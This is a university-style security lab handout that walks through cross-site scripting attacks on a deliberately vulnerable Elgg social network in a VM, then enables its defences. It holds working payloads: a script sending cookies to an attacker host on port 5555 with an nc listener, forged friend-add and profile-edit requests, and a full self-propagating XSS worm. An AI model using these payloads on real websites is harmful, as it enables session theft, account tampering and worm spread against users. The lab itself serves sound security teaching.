Cross-Site Scripting Attack Lab

Table of Contents

Lab Tasks

Requirements: One SeedUbuntu VM sufficient

We use an open-source web application called Elgg in this lab. Elgg is a web-based social-networking application. It is already set up in the pre-built Ubuntu VM image. We have also created several user accounts on the Elgg server and the credentials are given below. User URL: http://www.xsslabelgg.com

The credentials to use for this lab are:

User	UserName	Password
Admin	admin	seedelgg
Alice	alice	seedalice
Boby	boby	seedboby
Charlie	charlie	seedcharlie
Samy	samy	seedsamy

Task 1: Posting a Malicious Message to Display an Alert Window

The objective of this task is to embed a JavaScript program in your `Elgg` profile, such that when another user views your profile, the JavaScript program will be executed and an alert window will be displayed. The following JavaScript program will display an alert window:

```
<script>alert('XSS');</script>
```

If you embed the above JavaScript code in your profile (e.g. in the brief description field), then any user who views your profile will see the alert window.

In this case, the JavaScript code is short enough to be typed into the short description field. If you want to run a long JavaScript, but you are limited by the number of characters you can type in the form, you can store the JavaScript program in a standalone file, save it with the .js extension, and then refer to it using the `src` attribute in the `<script>` tag. See the following example:

```
<script type="text/javascript"
src="http://www.example.com/myscript.js"> </script>
```

In the above example, the page will fetch the JavaScript program from `http://www.example.com`, which can be any web server.

To allow hosting on a domain with any arbitrary name like `http://www.example.com`, you will need to add certain DNS and Apache server configurations. For this lab, you may use `http://localhost or http://`**`attacker_IP_address`** itself if the myscript.js file stored in /var/www/html.

Provide your screen shot with your observation.

Task 2: Posting a Malicious Message to Display Cookies

The objective of this task is to embed a JavaScript program in your `Elgg` profile, such that when another user views your profile, the user's cookies will be displayed in the alert window. This can be done by adding some additional code to the JavaScript program in the previous task:

```
<script>alert(document.cookie);</script>
```

Provide your screen shot with your observation.

Task 3: Stealing Cookies from the Victim's Machine

In the previous task, the malicious JavaScript code written by the attacker can print out the user's cookies, but only the user can see the cookies, not the attacker. In this task, the attacker wants the JavaScript code to send the cookies to himself/herself. To achieve this, the malicious JavaScript code needs to send an HTTP request to the attacker, with the cookies appended to the request.

We can do this by having the malicious JavaScript insert an <`img`> tag with its `src` attribute set to the attacker's machine. When the JavaScript inserts the `img` tag, the browser tries to load the image from the URL in the `src` field; this results in an HTTP GET request sent to the attacker's machine. The JavaScript given below sends the cookies to the port 5555 of the attacker's machine, where the attacker has a TCP server listening to the same port. The server can print out whatever it receives. The TCP server program is available from the lab's web site.

$ nc -lv 5555 (samy receives the victim user session details on his machine which is listening on port 5555)

```
<script>document.write('<img
src=http://attacker_IP_address:5555?c='+escape(document.cookie)+'
>'); </script>
```

Provide your screen shot with your observation.

Task 4: Becoming Victim's Friend.

The objective of this task is to write an XSS worm in Elgg. In this task we will write an XSS worm that does not self-propagate. We have to inject code into Samy's profile. When a victim visits Samy's profile, the injected code gets executed and adds Samy to the victim's friend list. In order to perform such an attack, Samy needs to investigate how the friend request looks like.

Samy will create another account on the website say Boby and sends a friend request to himself with this new account. Samy will use tools like web developer tools provided by Firefox web browser to capture the http request going out from his browser.

Once Samy knows the URL of the add friend request, he can write a JavaScript program that triggers the add friend request to the server whenever someone visits his profile page. This can be done by injecting the malicious JavaScript program into the About section of his profile. Following is the JavaScript program created to forge a friend request.

```
<script type="text/javascript">
window.onload=function()
{
```

```
        var Ajax=null;
        var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
        var token="&__elgg_token="+elgg.security.token.__elgg_token;
         //Construct the HTTP request to add Samy as a friend.
        var sendurl =
"http://www.xsslabelgg.com/action/friends/add?friend=47" + token +
ts;
        //Create and send Ajax request to add friend.
        Ajax=new XMLHttpRequest();
        Ajax.open("GET",sendurl,true);
        Ajax.setRequestHeader("Host","www.xsslabelgg.com");
        Ajax.setRequestHeader("Content-Type","application/x-www-form-
urlencoded");
        Ajax.send();
}
</script>
```

Provide your screen shot with your observation.

With Malicious code injected, when Alice visits Samy's profile page an add friend request is generated and sent to the Elgg server. As a result, Samy is added to Alice's friend list without her noticing. The same can be checked via web developer tools.

Task 5: Modifying the Victim's Profile.

In this task we have to use JavaScript program similar to previous task but this time to send out a POST request modifying the victim's profile. In order to forge a POST request Samy needs to investigate the actual POST request that is sent when the profile of a user is modified. Samy can do this easily by modifying his own profile and use web developer tools to monitor the HTTP request triggered.
Once the request has been investigated, we can see that the content sent out starts with elgg token and ts variables followed by profile page fields and their access level. Using that information Samy creates a JavaScript program as follow: you should submit screen shot with your name should reflect i,e Aparna is my hero.

```
<script type="text/javascript">
window.onload=function()
{
        //JavaScript code to access uer name, user guid, Time Stamp,
__elgg_ts
        //and Security Token __elgg_token
```

```
        var userName=elgg.session.user.name;
        var guid="&guid="+elgg.session.user.guid;
        var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
        var token="&__elgg_token="+elgg.security.token.__elgg_token;
        var desc =
"&description=Samy+is+my+Hero"+"&accesslevel[description]=2";
        var name="&name="+userName;
        //Construct the content of the url
        var sendurl="http://www.xsslabelgg.com/action/profile/edit";
        var content=token+ts+name+desc+guid;
        //FILL-IN
        var samyGuid=47;
        //FILL-IN
        if(elgg.session.user.guid!=samyGuid)
        {
              //create and send Ajax request to modify profile
              var Ajax=null;
              Ajax=new XMLHttpRequest();
              Ajax.open("POST",sendurl,true);
              Ajax.setRequestHeader("Content-Type","application/x-www-
        form-urlencoded");
              Ajax.send(content);
        }
}
</script>
```

Provide your screen shot with your observation.

Task 6: Writing a Self-Propagating XSS Worm

To become a real worm, the malicious JavaScript program should be able to propagate itself. Namely, whenever some people view an infected profile, not only will their profiles be modified, the worm will also be propagated to their profiles, further affecting others who view these newly infected profiles. This way, the more people view the infected profiles, the faster the worm can propagate. This is exactly the same mechanism used by the Samy Worm: within just 20 hours of its October 4, 2005 release, over one million users were affected, making Samy one of the fastest spreading viruses of all time. The JavaScript code that can achieve this is called a *self-propagating cross-site scripting worm*. In this task, you need to implement such a worm, which infects the victim's profile and adds the user "Samy" as a friend.

To achieve self-propagation, when the malicious JavaScript modifies the victim's profile, it should copy itself to the victim's profile.

Self-propagating worm using DOM approach

The self-propagating worm using the ID approach, is to inject code(worm) into victim user's profile, without any external links to the JavaScript code. The attacker needs to inject the malicious code to a victim's profile and self-propagate it by retrieving a copy of it from the DOM tree of the webpage.
Samy injects code into his profile through edit profile functionality in Elgg. He injects code in About Me field.

The malicious self-propagating JavaScript program is given below:

```
<script type='text/javascript' id="worm">
window.onload=function() {
        //JavaScript code to access uer name, user guid, Time Stamp,
__elgg_ts
        //and Security Token __elgg_token
        var userName=elgg.session.user.name;
        var guid="&guid="+elgg.session.user.guid;
        var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
        var token="&__elgg_token="+elgg.security.token.__elgg_token;
        var
briefdesc="&briefdescription=Samy+is+my+Hero"+"&accesslevel[briefdes
cription]=2";
        var name="&name="+userName;
        var jsCode="<script type='text/javascript'
id=worm>".concat(document.getElementById("worm").innerHTML).concat("
</").concat("script>");
        var wormCode=encodeURIComponent(jsCode);
        var
desc="&description=".concat(wormCode).concat("&accesslevel[briefdesc
ription]=2");
        //Construct the content of the url
        var sendurl="http://www.xsslabelgg.com/action/profile/edit";
        var content=token+ts+name+desc+briefdesc+guid;  //FILL-IN
        var samyGuid=47; //FILL-IN

        if(elgg.session.user.guid!=samyGuid)
        {
                var Ajax = null;
                var ts =
"&__elgg_ts="+elgg.security.token.__elgg_ts;
```

```
                var token =
"&__elgg_token="+elgg.security.token.__elgg_token;

                //Construct the HTTP request to add Samy as a Friend
                var
sendfriendurl="http://www.xsslabelgg.com/action/friends/add?friend=4
7"+token+ts;
                //Create and send Ajax request to add friend
                Ajax= new XMLHttpRequest();
                Ajax.open("GET",sendfriendurl,true);
                Ajax.setRequestHeader("Host","www.xsslabelgg.com");
                Ajax.setRequestHeader("Content-Type","application/x-
www-form-urlencoded");
                Ajax.send();

                //create and send Ajax request to modify profile
                var Ajax=null;
                Ajax=new XMLHttpRequest();
                Ajax.open("POST",sendurl,true);
                Ajax.setRequestHeader("Content-Type","application/x-
www-form-urlencoded");
                Ajax.send(content);
   }
}

</script>
```

Provide your screen shot with your observation.

Task 7: Countermeasures

`Elgg` does have a built in countermeasures to defend against the XSS attack. We have deactivated and commented out the countermeasures to make the attack work. There is a custom built security plugin `HTMLawed 1.8` on the Elgg web application which on activated, validates the user input and removes the tags from the input. This specific plugin is registered to the `function filter tags` in the `/var/www/XSS/Elgg/vendor/elgg/elgg/engine/lib/input.php` file.

To turn on the countermeasure, login to the application as admin (Username: admin, Password: seedelgg), goto `plugins` (on the right panel), and Select `security and spam` in the dropdown menu and click `filter`. You should find the `HTMLawed 1.8` plugin below. Click on `Activate` to enable the countermeasure.

In addition to the `HTMLawed 1.8` security plugin in `Elgg`, there is another built-in PHP method called `htmlspecialchars()`, which is used to encode the special characters in the user input, such as encoding `"<"` to `&lt`, `">"` to `&gt`, etc. Please go to the directory `/var/www/XSS/Elgg/vendor/elgg/elgg/views/default/output` and find the function call `htmlspecialchars` in `text.php`, `url.php`, `dropdown.php`, `email.php` files. Uncomment the corresponding `"htmlspecialchars"` function calls in each file. Once you know how to turn on these countermeasures, please do the following:

- Activate only the `HTMLawed 1.8` countermeasure but not `htmlspecialchars`; visit any of the victim profiles and describe your observations in your report.
- Turn on both countermeasures; visit any of the victim profiles and describe your observation in your report.

Note: Please do not change any other code and make sure that there are no syntax errors.
Provide your screen shot with your observation.

Submission

You need to submit a detailed lab report to describe what you have done and what you have observed. Please provide details using `LiveHTTPHeaders`, and/or screenshots. You also need to provide explanation to the observations that are interesting or surprising.